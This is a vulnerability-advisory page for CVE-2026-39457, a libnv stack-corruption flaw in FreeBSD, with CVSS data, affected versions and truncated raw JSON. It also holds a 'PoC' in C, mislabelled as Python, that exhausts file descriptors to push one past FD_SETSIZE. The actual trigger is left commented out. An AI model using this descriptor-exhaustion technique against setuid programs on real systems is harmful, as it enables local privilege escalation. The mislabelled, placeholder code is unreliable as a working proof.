Security Vulnerability Report
中文
CVE-2026-39457 CVSS 7.8 HIGH

CVE-2026-39457

Published: 2026-04-30 09:16:03
Last Modified: 2026-05-01 12:41:47

Description

When exchanging data over a socket, libnv uses select(2) to wait for data to arrive. However, it does not verify whether the provided socket descriptor fits in select(2)'s file descriptor set size limit of FD_SETSIZE (1024). An attacker who is able to force a libnv application to allocate large file descriptors, e.g., by opening many descriptors and executing a program which is not careful to close them upon startup, can trigger stack corruption. If the target application is setuid-root, then this could be used to elevate local privileges.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:freebsd:freebsd:13.5:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:freebsd:freebsd:13.5:beta3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:freebsd:freebsd:13.5:p1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:freebsd:freebsd:13.5:p10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:freebsd:freebsd:13.5:p11:*:*:*:*:*:* - VULNERABLE
FreeBSD (具体受影响版本请参考FreeBSD-SA-26:16.libnv)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/select.h> #include <fcntl.h> // PoC Concept for CVE-2026-39457 // This code demonstrates how to trigger the condition by exhausting FDs. int main() { int i; int fds[2000]; // Step 1: Consume file descriptors to push the next one > FD_SETSIZE (1024) for (i = 0; i < 2000; i++) { fds[i] = open("/dev/null", O_RDONLY); if (fds[i] == -1) { perror("open"); break; } } // Assume we pass this high FD to a vulnerable setuid-root application using libnv int vulnerable_fd = fds[1024]; printf("Triggering condition with FD: %d (FD_SETSIZE=%d)\n", vulnerable_fd, FD_SETSIZE); // In a real vulnerable scenario, the application would do: // fd_set set; // FD_ZERO(&set); // FD_SET(vulnerable_fd, &set); // This causes stack corruption if vulnerable_fd >= 1024 // select(vulnerable_fd + 1, &set, NULL, NULL, NULL); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39457", "sourceIdentifier": "[email protected]", "published": "2026-04-30T09:16:03.270", "lastModified": "2026-05-01T12:41:46.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When exchanging data over a socket, libnv uses select(2) to wait for data to arrive. However, it does not verify whether the provided socket descriptor fits in select(2)'s file descriptor set size limit of FD_SETSIZE (1024).\n\nAn attacker who is able to force a libnv application to allocate large file descriptors, e.g., by opening many descriptors and executing a program which is not careful to close them upon startup, can trigger stack corruption. If the target application is setuid-root, then this could be used to elevate local privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:-:*:*:*:*:*:*", "matchCriteriaId": "947F561E-AD65-43B9-94C1-3109A3D35248"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:beta3:*:*:*:*:*:*", "matchCriteriaId": "4216D505-95A5-4FCC-8B9A-26FCD32B0445"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p1:*:*:*:*:*:*", "matchCriteriaId": "3D1987F1-1E08-4B28-8D16-D25A091D99ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p10:*:*:*:*:*:*", "matchCriteriaId": "4C859EE2-59C0-4234-BFF0-7794AC4956DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p11:*:*:*:*:*:*", "matchCriteriaId": "D1CEB391-5FA3-4FFD-9279-113093DD500D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p12:*:*:*:*:*:*", "matchCriteriaId": "EE54A637-BD2A-42F2-A155-CF3D4292B32D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p2:*:*:*:*:*:*", "matchCriteriaId": "BEC1E8A0-0402-45F1-938D-FEFDCFC3E747"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p3:*:*:*:*:*:*", "matchCriteriaId": "D94457D6-738F-4ABB-BD46-F2B621531FE2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p4:*:*:*:*:*:*", "matchCriteriaId": "8C38CB56-B80C-4D1B-9267-16E8F985B170"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p5:*:*:*:*:*:*", "matchCriteriaId": "13DF1E38-5E8D-42FF-A4C5-092300864F3E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p6:*:*:*:*:*:*", "matchCriteriaId": "83A86F81-0965-4600-835A-496756137998"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p7:*:*:*:*:*:*", "matchCriteriaId": "987E31A4-7E21-471E-A3EA-4E53FFDB3DFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p8:*:*:*:*:*:*", "matchCriteriaId": "9FBFE8B3-DC7C-4394-B062-C40E201EC059"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:13.5:p9:*:*:*:*:*:*", "matchCriteriaId": "563C1D65-625D-43FC-A7A0-75B1E2163C40"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:-:*:*:*:*:*:*", "matchCriteriaId": "9DC7C54E-58AF-4ADE-84AF-0EF0F325E20E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p1:*:*:*:*:*:*", "matchCriteriaId": "D3D22B8C-36CF-4800-9673-0B0240558BDD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p10:*:*:*:*:*:*", "matchCriteriaId": "7296F5AA-F8C1-4277-A4EE-C2B24073A320"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p11:*:*:*:*:*:*", "matchCriteriaId": "C30E4A9C-0594-4F40-92B3-26CB9AA85AE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p2:*:*:*:*:*:*", "matchCriteriaId": "242FA2A8-5D7D-4617-A411-2651FF3A3E4C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p3:*:*:*:*:*:*", "matchCriteriaId": "40573F60-F3B7-4AEC-846A-B08E5B7D9D00"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p4:*:*:*:*:*:*", "matchCriteriaId": "1FB832CE-0A98-44A2-8BAC-CD38A64279B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p5:*:*:*:*:*:*", "matchCriteriaId": "9A785F8E-C218-41AE-8D57-BF06DDAEF7CB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p6:*:*:*:*:*:*", "matchCriteriaId": "C3909FDD-B2A2-45B6-A40B-1D303A717F15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p7:*:*:*:*:*:*", "matchCriteriaId": "720597A2-F181-46E1-8A0D-097E17ADC4FB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:freebsd:freebsd:14.3:p8:*:*:*: ... (truncated)